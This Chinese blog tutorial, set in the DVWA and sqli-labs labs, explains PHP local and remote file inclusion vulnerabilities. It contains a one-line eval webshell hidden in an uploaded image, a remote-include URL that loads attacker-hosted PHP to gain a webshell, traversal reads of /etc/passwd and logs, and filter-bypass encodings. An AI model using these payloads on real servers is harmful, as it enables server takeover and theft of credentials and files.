天天看點

檔案包含漏洞總結

本實驗是基于DVWA和sqli-labs的實驗環境

實驗平台搭建:下載下傳Wamp內建環境,并下載下傳DVWA和sqli-labs和壓縮包解壓至wamp\www的目錄下。安裝隻要注意Wamp環境的資料庫名和密碼對應即可。

0x01:檔案包含漏洞

伺服器通過php的特性(函數)去包含任意檔案時,由于要包含的這個檔案來源過濾不嚴,進而可以去包含一個惡意檔案,而我們可以構造這個惡意檔案來達到邪惡的目的。

這也算官方的解釋吧,用個人的話說,通過浏覽器、url位址或者是一個參數的變量的内容,可以通過修改這些url或者參數變量的内容,讀取到web根目錄以前其他檔案,但是不同于目錄浏覽,目錄浏覽是可以通過浏覽器直接顯示www目錄下每一個檔案的名稱,把目錄清單給列出來。

 檔案包含漏洞形成原因

  程式開發人員一般會把重複使用的函數寫到單個檔案中,需要使用某個函數時直接調用此檔案,而無需再次編寫,這中檔案調用的過程一般被稱為檔案包含。程式開發人員一般希望代碼更靈活,是以将被包含的檔案設定為變量,用來進行動态調用,

但正是由于這種靈活性,進而導緻用戶端可以調用一個惡意檔案,造成檔案包含漏洞。幾乎所有腳本語言都會提供檔案包含的功能,但檔案包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程式中卻非常少,甚至沒有,這是有些語言設計的弊端。在PHP中經常出現包含漏洞,但這并不意味這其他語言不存在。

  常見檔案包含函數

include():執行到include時才包含檔案,找不到被包含檔案時隻會産生警告,腳本将繼續執行

require():隻要程式一運作就包含檔案,找不到被包含的檔案時會産生緻命錯誤,并停止腳本

include_once()和require_once():這兩個函數和前兩個函數作用幾乎相同,差別在于若檔案中代碼已被包含則不會再次包含

LFI(本地包含漏洞)目錄周遊可以了解為本地包含漏洞,驗證以及利用方法都相同。

RFI(遠端包含漏洞)可以包含進其他主機的url位址,如自己開放一個www服務,然後在上面放一個木馬檔案,如果是代碼會在這個機器上執行的。拿到shell的權限要看運作www服務的帳号。

包含漏洞的特征:(這個可以說是文中的幹貨了)

在某一個頁面中,一個變量的值等于一個頁面檔案或者是一個固定的值,如

?page=a.asp

?home=b.html

?file=content

漏洞分類

本地檔案包含:可以包含本地檔案,在條件允許時甚至能執行代碼

    上傳圖檔馬,然後包含

    讀敏感檔案,讀PHP檔案

    包含日志檔案GetShell

    包含/proc/self/envion檔案GetShell

    包含data:或php://input等僞協定

    若有phpinfo則可以包含臨時檔案

遠端檔案包含:可以直接執行任意代碼

要保證php.ini中allow_url_fopen和allow_url_include要為On

0x02、檔案包含漏洞利用

1、包含讀出目标機上其它檔案

如果對取得的參數page沒有過濾,于是我們可以任意指定目标主機上的其它敏感檔案

在linux中,"."表示目前目錄,“..”表示上一層目錄,當../到根目錄下,再往上層父目錄仍舊是根目錄。

<a href="http://s1.51cto.com/wyfs02/M01/89/0A/wKioL1gGEZbRhgROAAFe0eg_MRw456.png" target="_blank"></a>

用常見的“../”包含出日志檔案。

<a href="http://s4.51cto.com/wyfs02/M01/89/0D/wKiom1gGEt7zI6JIAAGTL6mTIms960.png" target="_blank"></a>

2、包含可運作的PHP木馬

在很多地方,我們都可以上傳圖檔,如上傳頭像,圖檔等,這這裡先上傳圖檔,圖檔的内容為一句話木馬

&lt;?php @eval($_POST['cmd']);?&gt;

<a href="http://s2.51cto.com/wyfs02/M00/89/0D/wKiom1gGFSSj2ZIUAAD9aZ7Q-8M833.png" target="_blank"></a>

由于上傳的限制,一般隻能上傳jpg,png的圖檔格式,代碼無法執行,我們用本地包含的方式将圖檔包含進來,代碼就執行了,代碼不需要字尾名是php、asp的格式,隻要内容是代碼即可執行。

<a href="http://s2.51cto.com/wyfs02/M01/89/0D/wKiom1gGFUKAGNjTAAC_S3ndX-8464.png" target="_blank"></a>

然後用中國菜刀連接配接(功夫再高,也怕菜刀!)

<a href="http://s4.51cto.com/wyfs02/M01/89/0A/wKioL1gGFW_j0P9PAAAXFOKMttc862.png" target="_blank"></a>

3.遠端包含url和php木馬

如果目标主機的"allow_url_fopen"是激活的(預設是激活的),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運作

不需要字尾名是php、asp的格式,隻要内容是代碼就可以。

出現機率少于本地包含,但更容易被利用

如在自己伺服器上寫上一句話代碼,然後用遠端包含漏洞去包含這個連結,

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.0.117/a.php

然後同上,用菜刀連接配接,擷取webshell。

0x03、包含漏洞繞過技巧

在利用包含漏洞中,經常遇到一個問題,在檢視page=/etc/passwd的時候,出現報錯,找不到/etc/passwd.php檔案,說明預設自動加上了字尾名.php,繞過的方式有一下幾種

1.編碼繞過字元過濾

(1)加“.”,當加點,會忽略點後面的内容。

(2)“%00”,即null空字元(/etc/passwd%00),在php語言格式裡,當遇到%00的時候,後面不管有無其他東西,都不看了,隻看%00前面的内容

(3)“#”,繞過檔案擴充名過濾

2、編碼

url編碼、雙層(多層)url編碼

%2e%2e%2f   解碼:../

%2e%2e%5c  解碼:..\

%25%2e%25%2e%255c 解碼:..\(可使用burp多層編碼和解碼)

uniclode/UTF-8編碼

..%c0%af  解碼:../

%c1%9c  解碼:..\

但編碼能否正确的起到效果,得看web server是否能對編碼後的做解析

3、其他系統可能是使用到的特殊字元

file.txt ...

file.txt &lt;spaces&gt;

file .txt """"""""

file.txt &lt;&lt;&gt;&gt;&lt;

./././ file.txt

4、攻擊向量字典

利用條件

程式用include()等檔案包含函數通過動态變量的範式引入需要包含的檔案

使用者能夠控制該動态變量

漏洞危害

這類漏洞看起來貌似并不嚴重,一旦被惡意利用則會帶來很大的危害。本地檔案包含不僅能夠包含web檔案目錄中的一些配置檔案(比如Web應用、資料庫配置檔案、config檔案),還可以檢視到一些Web動态頁面的源代碼,為攻擊者進一步發掘web應用漏洞提供條件,甚至一旦與路徑周遊漏洞相結合,還可能直接攫取目标系統的使用者名與密碼等檔案。并且能執行任意代碼,甚至控制伺服器。

本文轉自 wt7315 51CTO部落格,原文連結:http://blog.51cto.com/wt7315/1863177